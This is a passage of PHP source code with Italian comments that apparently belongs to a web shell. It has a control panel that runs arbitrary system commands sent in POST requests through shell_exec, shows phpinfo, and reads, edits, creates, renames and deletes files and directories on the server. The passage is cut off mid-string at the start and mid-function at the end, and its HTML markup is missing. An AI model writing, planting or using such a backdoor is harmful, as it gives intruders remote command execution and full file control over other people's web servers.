directory :
.....ExEcTuTe ";
if ($Wphpinfo) phpinfo();
//andiamo a eseguire dei comandi sulla shell..
elseif($_POST['go_cmd']) {
$cmd_output=shell_exec($_POST['cmd']);
echo "output di ".$_POST['cmd']."
".$cmd_output."
";
}
//rinominiamo un file
elseif($_POST['go_rename'])
{
echo "sto rinominando il file....";
if (rename($_POST['old_name'],$_POST['new_name'])) echo " file rinominato con successo..";
}
elseif ($Wfileremove!='' )
{
echo "rimozine file ".htmlspecialchars($Wfileremove);
( unlink($Wfileremove) ) ? die( " riuscita") : die( " fallita forse non hai i permessi di scrittura.....");
}
elseif($Wfileimage!='') echo "";
elseif ($_POST['new_file'] )
{
$file = $_POST['name_new_file'];
new_file($file,$_POST['new_file_text']);
}
//editiamo un file
elseif ($Wfiledit!='') {
if (!(is_writable($Wfiledit) and is_readable($Wfiledit))) die("file non leggibbile e/o scrivibile");
$fldtp=fopen($Wfiledit,'r');
$testo = htmlspecialchars(fread($fldtp,filesize($Wfiledit)));
fclose($fldtp);
echo "
";
}//fine if di $Wfiledit
elseif($Wfiletoedit and $_POST['save_edit_change'] ) {
$file_change_text=fopen ($Wfiletoedit,'w+');
echo "salvataggio in ".htmlspecialchars($Wfiletoedit)." ";
$testo_new=gpc_text($_POST['test'] );
fwrite($file_change_text,$testo_new);
fclose($file_change_text);
echo "salvataggio eseguito con successo....";
}//fine di if
// rimoviamo la dir
elseif($Wrmdir!=''){
if (rmdir($Wrmdir)) echo $Wrmdir.' rimossa con successo' ;
else echo $Wrmdir.' non sono riuscito a rimuoverla';
}
//stampiamo il testo del file
elseif ($Wfile!='' ){
echo "sto aprendo
".htmlspecialchars($Wfile)."
";
if (!is_readable($Wfile)) die("file non leggibbile");
$flop = fopen($Wfile,'r');
$read=htmlspecialchars(fread($flop,filesize($Wfile)));
fclose($flop);
echo "
";
function lista_file($dir)
{
if (!is_dir($dir)) die(htmlspecialchars($dir)." non è una directory");
if ($handle = opendir($dir)) {
$return = '
nome dato
tipo dato
view
edit
remove
permessi
maggiori informazioni
';
while (false !== ($file = readdir($handle)))
{// in questo while vengono richiamati tutti i file presenti nella cartella selezionata
$return .= link_genera($file,$dir);//questo genera i vari link....
}//fine while
$return .= '
';
} else $return = 'non sono ruscito ad aprire la cartella ,...'; closedir($handle); return $return ;
}// fine function
function link_genera($a,$dir)
{
$image = array("jpg","gif",'png','JPG','GIF','PNG','jpeg','JPEG','bnp');
$re='